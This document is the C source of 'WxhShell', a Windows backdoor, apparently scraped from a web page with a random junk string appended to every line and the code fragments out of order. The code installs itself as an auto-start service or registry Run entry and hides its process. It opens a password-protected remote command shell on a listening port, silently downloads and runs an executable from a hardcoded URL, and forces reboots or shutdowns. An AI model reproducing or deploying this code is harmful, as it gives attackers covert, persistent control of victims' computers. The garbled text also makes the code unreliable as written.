    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O``MUb b  
    else { =!c+|X`  
    closesocket(wsh); J-ZM1HoB  
    ExitThread(0); gdZVc9 _  
    } i;xMf5Jz  
    break;  =*Yc/  
    } G7202(w <  
  // 获取shell .5ycO  
  case 's': { *h%G4M  
    CmdShell(wsh); KN`z68c4L  
    closesocket(wsh); Q+Fw =Xw  
    ExitThread(0); ppD ~xg]  
    break; A X#!9-m3  
  } U`Ag|R  
  // 退出 A-u5  
  case 'x': { =iQm_g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  0EB'!  
    CloseIt(wsh); X]*/]Xx  
    break; (j I|F-i  
    } @iceMD.  
  // 离开 3d<HIG^W}  
  case 'q': { H44&u](8{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |G@)B!>  
    closesocket(wsh); 3,5wWT] )  
    WSACleanup(); N9PM.nbd%  
    exit(1); [-gKkOT8E  
    break; <khAc1"  
        } UmE{>5Pt  
  } \|t0~sRwh  
  } y~=hM   
i+Dgw  
  // 提示信息 cs M|VNE>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S}f<@-16P  
} )89jP088V  
  } rQm  
8'[wa  
  return; -8jqC6mQ  
} \@3  
bx^EaXj(r  
// shell模块句柄 fYjsSUnf  
int CmdShell(SOCKET sock) ]."c4S_)|  
{ W>bW1h  
STARTUPINFO si; kw~H%-,]  
ZeroMemory(&si,sizeof(si)); UhTr<(@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k f!/9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?KXQ)Y/su  
PROCESS_INFORMATION ProcessInfo; x=#5\t9  
char cmdline[]="cmd"; .8!0b iS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FxX3Pq8h  
  return 0; $:N "*  
} |P7f^0idk  
o)=VPUe  
// 自身启动模式 EI.Pk>ZIm  
int StartFromService(void) =*}Mymhk(  
{ 5O W(] y|  
typedef struct tQaCNS$=  
{ piotd,  
  DWORD ExitStatus; hF7mJ\  
  DWORD PebBaseAddress; 6<$|;w-OV  
  DWORD AffinityMask; JJ0 CM:xe  
  DWORD BasePriority; ejY5n2V#=  
  ULONG UniqueProcessId; Nt-SCLDM  
  ULONG InheritedFromUniqueProcessId;  ?|J+dW  
}   PROCESS_BASIC_INFORMATION; ~&3"Mi&>`  
8#u_+;,p  
PROCNTQSIP NtQueryInformationProcess; U3K<@r  
kte.E%.PE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WN/#9]` P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ==Mi1Q#5C  
UjOhaj "h  
  HANDLE             hProcess; *m@w^In^  
  PROCESS_BASIC_INFORMATION pbi; 786_QV  
}t3FAy(%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WbWW=(N'd  
  if(NULL == hInst ) return 0; g Pj0H&,.  
(zDk68=v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }cej5/*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v@uaf=x-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {4aY}= -Q*  
Q]5^Eiq8  
  if (!NtQueryInformationProcess) return 0; 67\Ojl~(1  
*>p(]_s,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); },aWCvJL  
  if(!hProcess) return 0; ~o'#AP#N~  
arQ %  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #*$@_  
7jH`_58  
  CloseHandle(hProcess); ~y H>Ko9F}  
N$&ePU J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K[ gWXBP  
if(hProcess==NULL) return 0; <bZm  
NVqC|uEAF  
HMODULE hMod; akW3\(W}  
char procName[255]; 6Su@a%=j  
unsigned long cbNeeded; "5JNXo,H  
[H%?jTQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LsQ8sFP_"  
* m&: Yje  
  CloseHandle(hProcess); `-EH0'w~"  
|ch^eb^7"  
if(strstr(procName,"services")) return 1; // 以服务启动 G+ X [R^RD  
d74g|`/  
  return 0; // 注册表启动 !GGGh0Bj  
} TWR $D  
jJ"EGFa8  
// 主模块 s P4 ,S(+e  
int StartWxhshell(LPSTR lpCmdLine) jc.JX_/  
{ B%J%TR_  
  SOCKET wsl; 5J+V:Xu{  
BOOL val=TRUE; }j(2Dl  
  int port=0; .`& /QiD  
  struct sockaddr_in door; 1uS-Tx  
)Ct*G= N  
  if(wscfg.ws_autoins) Install(); nlebFDb7  
(5q%0|RzRs  
port=atoi(lpCmdLine); RYZE*lWUh  
]( =wlq)  
if(port<=0) port=wscfg.ws_port; 4JZHjf0M6  
s >VEuLY*  
  WSADATA data; Sj{ia2AE_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rt^45~  
C9F+e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N.{jM[\F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VHT@s7u0"  
  door.sin_family = AF_INET; /uE^H%9h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [)SR $/A  
  door.sin_port = htons(port); ^[,s_34V  
xOL)Pjo /m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8q?;Hg  
closesocket(wsl); fQ36Hd?(5  
return 1; <@e+-$  
} |[37:m  
/Fo/_=FE2  
  if(listen(wsl,2) == INVALID_SOCKET) { C. Ja;RFq  
closesocket(wsl); O GFE*  
return 1; ~` \9Q  
} y2#>c*  
  Wxhshell(wsl); E!I  
  WSACleanup(); zzfn0g  
80$0zbw$  
return 0; .FKJ yzL  
xEiX<lguyN  
} Sc'c$/  
pH\^1xj =  
// 以NT服务方式启动 k?HrD"k"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }PFt  
{ &=-e`=qJ'6  
DWORD   status = 0; ]`@]<6  
  DWORD   specificError = 0xfffffff; *F szGn<  
r6n5Jz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "@{4.v^}!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /:y2Up-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pYfV~Q^3  
  serviceStatus.dwWin32ExitCode     = 0; IypWVr   
  serviceStatus.dwServiceSpecificExitCode = 0; Vj=Xcn#*8  
  serviceStatus.dwCheckPoint       = 0; 3@yTzaq6  
  serviceStatus.dwWaitHint       = 0; W ~Jzqp9g  
2>$F0 M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]<q}WjXD'  
  if (hServiceStatusHandle==0) return; G*(K UG>  
*t.q m5h  
status = GetLastError(); whY~=lizn  
  if (status!=NO_ERROR) 7V} ]C>G  
{ $,KP]~?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >:jM}*dnL  
    serviceStatus.dwCheckPoint       = 0; z+k=|RMau  
    serviceStatus.dwWaitHint       = 0; GOf`Z'\xt  
    serviceStatus.dwWin32ExitCode     = status; {Vxc6,=  
    serviceStatus.dwServiceSpecificExitCode = specificError; &"[)s[m+t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v]:+` dV  
    return; 5 o#<`_=J  
  } qx2E-PDL;<  
`S\zqF<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .kc"E  
  serviceStatus.dwCheckPoint       = 0; qX5yN| A4  
  serviceStatus.dwWaitHint       = 0; ;}/U+`=D?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tyEPU^PM  
} I /On3"U%  
sTtX$&Qu  
// 处理NT服务事件,比如:启动、停止 )u8*zwq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W|25t)cJ8h  
{ ^sifEgG*d  
switch(fdwControl) Qz@IK:B}  
{ oTCzYY  
case SERVICE_CONTROL_STOP: `/O`OrZ1K  
  serviceStatus.dwWin32ExitCode = 0; 6 Wpxp\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WR/o @$/  
  serviceStatus.dwCheckPoint   = 0; T- |9o|~z  
  serviceStatus.dwWaitHint     = 0; gB>imr#e&  
  { sno`=+|U]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~)q g  
  } ]*N:;J  
  return; 'qL5$zG  
case SERVICE_CONTROL_PAUSE: !K3})& w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5@`F.F>"  
  break; 38c?^  
case SERVICE_CONTROL_CONTINUE: y=AsgJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e}42/>}#D  
  break; M{?.hq  
case SERVICE_CONTROL_INTERROGATE: |h&<_9  
  break; "l@A[@R  
}; qoj^_s6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bMN@H\Ek  
} B<|VeU  
mC i[Ps  
// 标准应用程序主函数 .u1X+P7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y[Q @WdE9  
{ l|YT[LR7  
$. %L  
// 获取操作系统版本 .,3Zj /  
OsIsNt=GetOsVer(); ^rv"o:lF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rj[ hhSx 2  
&<,SV^w ag  
  // 从命令行安装 ]^=|Zd-  
  if(strpbrk(lpCmdLine,"iI")) Install(); qib 7Z]j  
6HoqEku/Q  
  // 下载执行文件  fb\DiKsW  
if(wscfg.ws_downexe) { ugYw <  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ep+  
  WinExec(wscfg.ws_filenam,SW_HIDE); (1CJw:  
} M[, D  *  
4% HGMr  
if(!OsIsNt) { c juZB Fl  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^=EjadVQ  
HideProc(); zfhTc=(/  
StartWxhshell(lpCmdLine); .K IVf8)"  
} N.Dhu~V  
else *E:x E/M!2  
  if(StartFromService()) }e<'BIM E  
  // 以服务方式启动 }N3V5cab  
  StartServiceCtrlDispatcher(DispatchTable); 3bC+Mco  
else c=6ahX}d  
  // 普通方式启动 GCT@o!  
  StartWxhshell(lpCmdLine); t|}O.u-&;~  
aG%kmS&fv  
return 0; )kYOHS  
} pb#mg^8  
~eP  
Nl@k*^  
8j%'9vPi  
=========================================== <FY&h#  
x(8n 9Q>  
>1 @Ltvm  
`)32&\  
[C1 LT2a  
aD9rp V  
" #~^btL'dHF  
Wta]BX  
#include <stdio.h> fN-Gk(Ic  
#include <string.h> %}q .cV  
#include <windows.h> @6 /yu>%  
#include <winsock2.h> xCWz\-;  
#include <winsvc.h> A\z`c e!  
#include <urlmon.h> {Oj7  
|uI?ySF  
#pragma comment (lib, "Ws2_32.lib") =m7H)z)i*J  
#pragma comment (lib, "urlmon.lib") _%y4q%#  
`>6T&  
#define MAX_USER   100 // 最大客户端连接数 a2`%gh W3  
#define BUF_SOCK   200 // sock buffer ]H ~Y7\N-v  
#define KEY_BUFF   255 // 输入 buffer r}_lxr  
W|MWXs5'1*  
#define REBOOT     0   // 重启 vJ"i.:Gf4  
#define SHUTDOWN   1   // 关机 DP 9LO_{  
}`xdWY  
#define DEF_PORT   5000 // 监听端口 dAc ?O-~  
2*[QZ9U[@  
#define REG_LEN     16   // 注册表键长度 ~i ,"87$[  
#define SVC_LEN     80   // NT服务名长度 ]f8L:=c  
lCJ6Ur;  
// 从dll定义API oFCgu{\kt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TVaA>]Fv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {$d<1y^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3`*Kav>"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q&CElx?L  
`'i( U7?  
// wxhshell配置信息 h7]EB!D\A  
struct WSCFG { ? }yfKU`  
  int ws_port;         // 监听端口 ~S*b  
  char ws_passstr[REG_LEN]; // 口令 yb2}_k.JG  
  int ws_autoins;       // 安装标记, 1=yes 0=no bFY~oa%C  
  char ws_regname[REG_LEN]; // 注册表键名 ba3*]01Yb  
  char ws_svcname[REG_LEN]; // 服务名 LY 0]l$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y9Z]i$qS&k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z^yNLF*&V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 " .4,."  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m^V5*JIh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _V2xA88  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |A\a4f 'G  
j.m(ltGh  
}; #Exp51  
;),"M{"v  
// default Wxhshell configuration Es!Q8.  
struct WSCFG wscfg={DEF_PORT, k GHQ`h  
    "xuhuanlingzhe", F]EBD8/b  
    1, ;AX8aw,  
    "Wxhshell", xwi\  
    "Wxhshell", VwyVEZt  
            "WxhShell Service", yVX8e I  
    "Wrsky Windows CmdShell Service", D:"{g|nW}  
    "Please Input Your Password: ", GIyF81KR 3  
  1, ),(V6@Z?  
  "http://www.wrsky.com/wxhshell.exe", /(hUfYm0  
  "Wxhshell.exe" iEm ?  
    }; [;A[.&6  
u 8^{  
// 消息定义模块 SJ?cI!=x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MSw$_d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %Ip*Kq-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GbI-SbE  
char *msg_ws_ext="\n\rExit."; H1/?+N}(  
char *msg_ws_end="\n\rQuit."; B07v^!Z>  
char *msg_ws_boot="\n\rReboot..."; "ZrOrdlg+A  
char *msg_ws_poff="\n\rShutdown..."; r)^vO+3u  
char *msg_ws_down="\n\rSave to "; *JX;|S  
ICC%,$C~l  
char *msg_ws_err="\n\rErr!"; hI},~af  
char *msg_ws_ok="\n\rOK!"; s58 C2  
:e<7d8E5n{  
char ExeFile[MAX_PATH]; b[I8iSkfi  
int nUser = 0; l(;Kij  
HANDLE handles[MAX_USER]; */^QH@P  
int OsIsNt; cPDQ1qre!  
`R"~v/x  
SERVICE_STATUS       serviceStatus; jYRP8 Yi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I_1e?\  
I%j_"r9-I  
// 函数声明 PPkx4S_>  
int Install(void); =K\r-'V  
int Uninstall(void); *=AqM14 @  
int DownloadFile(char *sURL, SOCKET wsh); bD ^b  
int Boot(int flag); h[o6-f<D  
void HideProc(void); zZ=pP5y8  
int GetOsVer(void); #P<N^[m  
int Wxhshell(SOCKET wsl); Hnk:K9u.B:  
void TalkWithClient(void *cs); EV pi^>M  
int CmdShell(SOCKET sock); S35~Cp  
int StartFromService(void); .8(OT./  
int StartWxhshell(LPSTR lpCmdLine); {vEOn-(7  
<-'$~G j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XI<L;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ag-f{UsTy  
H@bf'guA|B  
// 数据结构和表定义 nKa$1RMO  
SERVICE_TABLE_ENTRY DispatchTable[] = 2*w0t:Yx e  
{ Dre2J<QL  
{wscfg.ws_svcname, NTServiceMain}, z2_6??tS/c  
{NULL, NULL} $5x ,6[&  
}; ryB}b1`D  
'2^7-3_1  
// 自我安装 >P6BW  
int Install(void) 7%f&M>/  
{ L){iA-k;Ec  
  char svExeFile[MAX_PATH]; \K`L3*cBKK  
  HKEY key; fGhn+8VfX  
  strcpy(svExeFile,ExeFile); v6.t{6zYgY  
M?m,EQh.  
// 如果是win9x系统,修改注册表设为自启动 ^=>Tk$ _2  
if(!OsIsNt) { ?POUtRN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $odso;Hn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mKr h[nA  
  RegCloseKey(key); KlRr8 G!Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h/?l4iR*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L:XC  
  RegCloseKey(key); wLK07e(  
  return 0; *na?n2Yzt  
    } A,sr[Pa@  
  } V|(H|9  
} .<@8gNm3  
else { 9mA{K    
[8tL"G6s  
// 如果是NT以上系统,安装为系统服务 ^[:p|U2mA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1-lu\"H`  
if (schSCManager!=0) nRyU]=-X  
{ n]E?3UGD@W  
  SC_HANDLE schService = CreateService Cj~'Lhmv'T  
  ( }=c85f~i  
  schSCManager, {~Rk2:gx  
  wscfg.ws_svcname, aDO !  
  wscfg.ws_svcdisp, y=?)n\ f  
  SERVICE_ALL_ACCESS, ;>n,:355L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AGLscf.  
  SERVICE_AUTO_START, % qV 6  
  SERVICE_ERROR_NORMAL, M#(+c_(r  
  svExeFile, *G* k6.9W!  
  NULL, !1e6Ss  
  NULL, : q#Xq;Wp  
  NULL, :Nofp&  
  NULL, phM>.y_  
  NULL |*}4 m'c  
  ); 15o9 .   
  if (schService!=0) L 4!{h|  
  { B95B|tU>.  
  CloseServiceHandle(schService); /!c${W!sY  
  CloseServiceHandle(schSCManager); j4qJ.i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %Dwk  
  strcat(svExeFile,wscfg.ws_svcname); w.[ "p9tc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YW7b)u Yf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >0"+4<72  
  RegCloseKey(key); ^]TVo\,N  
  return 0; c%MW\qx  
    } l1f\=G?tmU  
  } Hy^N!rBxfO  
  CloseServiceHandle(schSCManager); 8ji_#og  
} y3fGWa*7e  
} U&?v:&c#&n  
w@{=nD4p  
return 1; 'FDef#P<  
} Uu`9 "  
)ubiB^g'm  
// 自我卸载 gP;&e:/3  
int Uninstall(void) Q)IKOt;N]  
{  5~>z h  
  HKEY key; ZzSz%z_sE  
8uWa=C)  
if(!OsIsNt) { 0tXS3+@n =  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "'t0h{W r8  
  RegDeleteValue(key,wscfg.ws_regname); .>WxDQIo  
  RegCloseKey(key); abyo4i5T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NuQdSj_>  
  RegDeleteValue(key,wscfg.ws_regname); zzX_q(:S  
  RegCloseKey(key); b45-:mi!&#  
  return 0; NxsBX :XDn  
  } !wNr3LG  
} 2.l:O2<  
} tNbN7yI  
else { !6*"(  
S[J}UpV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |&zz,+E  
if (schSCManager!=0) ee^{hQi  
{ ?!` /m|"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0@%v1Oja  
  if (schService!=0) *2,VyY  
  { T(U_  
  if(DeleteService(schService)!=0) { `~By)?cT_>  
  CloseServiceHandle(schService); /w}u3|L$  
  CloseServiceHandle(schSCManager); t:'Mh9h7u  
  return 0; De'_SD|=  
  } L6|oyf  
  CloseServiceHandle(schService); ^SF&=NpV  
  } ]SLP}Jwy  
  CloseServiceHandle(schSCManager); toBHkiuD  
}  &7K?w~  
} cWe"%I  
KV0]m^@x  
return 1;  2*^j  
} *^VRGfpb  
YwjKAyLU  
// 从指定url下载文件 J^Wa8Q;9lX  
int DownloadFile(char *sURL, SOCKET wsh) [J?aD`{#O  
{ F^];U+J  
  HRESULT hr; "W955?4m  
char seps[]= "/"; W *),y:  
char *token; L?mrba y  
char *file; JehrDC2N  
char myURL[MAX_PATH]; %D\[*  
char myFILE[MAX_PATH]; 3 :<WY&9  
l*d(;AR  
strcpy(myURL,sURL); :LW4E9O=H  
  token=strtok(myURL,seps); GLeK'0Q@  
  while(token!=NULL) h7lDHIQf  
  { "hH.#5j  
    file=token; KUlp"{a`,K  
  token=strtok(NULL,seps); 3sy (vC  
  } {Tq_7,8  
V{/?FO?E  
GetCurrentDirectory(MAX_PATH,myFILE); CYY=R'1:G{  
strcat(myFILE, "\\"); $QLcH;+7t  
strcat(myFILE, file); ! |<Fo'U  
  send(wsh,myFILE,strlen(myFILE),0); kuszb~`zPY  
send(wsh,"...",3,0); Oi8.8M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gG(fQ 89U"  
  if(hr==S_OK) [\v}Ul  
return 0; "Q@ronP(~  
else -g*4(w  
return 1; ^:^9l1]  
eg;~zv  
} FQ<Ju.  
[+n*~  
// 系统电源模块 o,AAC  
int Boot(int flag) ,St#Vla  
{ qNB<T('  
  HANDLE hToken; mwHB(7YS,  
  TOKEN_PRIVILEGES tkp; $P^q!H4D  
< $lCkSx<Q  
  if(OsIsNt) { YNKHN2E8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); chM%]|gey  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yerg=,$_i  
    tkp.PrivilegeCount = 1; a|t$l=|DD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XDOY`N^L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1 ySk;;3  
if(flag==REBOOT) { 'YmIKIw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w0rRSD4S8B  
  return 0; f e\$@-  
} V5V bJBpf  
else { /Kql>$I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4xjPiHd<  
  return 0; h-q3U%R4}@  
} fg_4zUGM+g  
  } .,<1%-R34q  
  else { J\twZ>w~0  
if(flag==REBOOT) { 1"MhGNynB>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vdivq^%=a  
  return 0; BC&S>#\  
} f-vCm 5f  
else { naG=Pq<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2=,lcWr  
  return 0; } gyj0  
} ^oBtfN>4  
} c}lb%^;)E  
Xix L  R  
return 1; ry`Ho8N  
} x -WmMfcz&  
ak$f"py x  
// win9x进程隐藏模块 X`kk]8 =  
void HideProc(void) n9W(bG o  
{ 'N (:@]4N  
hZ?Rof  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KKj a/p  
  if ( hKernel != NULL ) &#{Z( h.de  
  { V\ZGd+?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UOv+T8f=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k9sh @ENy  
    FreeLibrary(hKernel); XRM_x:+]  
  } $v4.sl:x  
JFcLv=U  
return; >*~L28Fyn  
} :3v}kLO7|  
vOn`/5-  
// 获取操作系统版本 6 a(yp3  
int GetOsVer(void) dI.WK@W'o  
{ w1Nm&}V  
  OSVERSIONINFO winfo; M8MR oA6F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u@W|gLT1  
  GetVersionEx(&winfo); hO\<%0F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .F4>p=r  
  return 1; GFj{K  
  else =)0,#9k U]  
  return 0; }NHaCG[,  
} %<\vGqsM  
mitHT :%r2  
// 客户端句柄模块 8g@<d ^8@  
int Wxhshell(SOCKET wsl) <GS^  
{ q(  
  SOCKET wsh; 1-8mFIK  
  struct sockaddr_in client; bkOv2tZ  
  DWORD myID; Q3kdlxXR  
-]0OKE&  
  while(nUser<MAX_USER) =Gpylj7?~  
{ 5kc/Y/4o  
  int nSize=sizeof(client); f',Op1o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  U f:`  
  if(wsh==INVALID_SOCKET) return 1; R/~p>apg8  
6dq(T_eG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ne>pOK<vZ  
if(handles[nUser]==0) Nyku4r0  
  closesocket(wsh); l5S aT,%  
else )Kc<j!8-[  
  nUser++; $SlIr<'*"  
  } %f&/E"M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z^bQ^zk-  
,;EIh}  
  return 0;  :|>h7v  
} G)EU_UE 9  
0M_ DB=  
// 关闭 socket h{)kQLuzT  
void CloseIt(SOCKET wsh) ep!Rf:  
{ G?L HmTHg  
closesocket(wsh); H*d9l2,KZS  
nUser--; ]AINK UI0  
ExitThread(0); O*hDbM2QQw  
} S] }nm  
%|s; C  
// 客户端请求句柄 }n]Ng]KM`  
void TalkWithClient(void *cs) ;,hwZZA  
{ iw3FA4{(  
>nJ\BPx  
  SOCKET wsh=(SOCKET)cs; F~,Mw8  
  char pwd[SVC_LEN]; &Qf/>@ l}  
  char cmd[KEY_BUFF]; 8r*E-akuyr  
char chr[1]; W>${zVu  
int i,j; %^?fMeI|Y  
Y@;CF  
  while (nUser < MAX_USER) { ;"a=gr  
AFq~QXmr)  
if(wscfg.ws_passstr) { M1k{t%M+S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kr?TxhUHd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5#HW2"7  
  //ZeroMemory(pwd,KEY_BUFF); iowTLq!?  
      i=0; Gj1&tjK  
  while(i<SVC_LEN) { 0\X\izQ5  
d6Ht2  
  // 设置超时 vk}n,ecl  
  fd_set FdRead; S ^!n45l  
  struct timeval TimeOut; DBo%fYst  
  FD_ZERO(&FdRead); |)IlMG  
  FD_SET(wsh,&FdRead); dH;8mb|#'  
  TimeOut.tv_sec=8; ~uj#4>3T  
  TimeOut.tv_usec=0; w;%.2VJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GoJ.&aH $  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W\>fh&!)  
Cz9xZA{[M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4-l 8,@9  
  pwd=chr[0]; .N,bIQnj  
  if(chr[0]==0xd || chr[0]==0xa) { 57'*w]4f  
  pwd=0; BGvre'67  
  break; FI)17i$  
  } [@&m4 7  
  i++; %vn|k[n D  
    } 'f#{{KA  
PIJr{6B/PA  
  // 如果是非法用户,关闭 socket K%,2=.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h){0rX@:&  
} @D]5civm_  
^ sOQi6pL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =J18eH!]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {JO^ tI  
q;B4WL}  
while(1) { h\$$JeSV]  
#Vnkvvv  
  ZeroMemory(cmd,KEY_BUFF); kDEXN  
x,'(5*  
      // 自动支持客户端 telnet标准   I&fozO   
  j=0; U&g@.,Y#  
  while(j<KEY_BUFF) { $POu\TO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )cW#Rwu_A4  
  cmd[j]=chr[0]; gt\E`HB8E  
  if(chr[0]==0xa || chr[0]==0xd) { 3$9s\<j  
  cmd[j]=0; O\ GEay2  
  break; l3{-z4mw  
  } z{8bvuE  
  j++; KWq+PeB5TS  
    } B?OFe'*  
o8 IL $:  
  // 下载文件 WO7z  
  if(strstr(cmd,"http://")) { )!3V/`I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M-$%Rzl_  
  if(DownloadFile(cmd,wsh)) lXx=But  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^6jV_QM#  
  else ^4y,W]JUDt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IDad9 Bx  
  } ,cXD.y  
  else { v3*_9e  
D.r<QO~6B  
    switch(cmd[0]) { 2+RUTOv/d  
  VRVO-Sk  
  // 帮助 M  f}~{+  
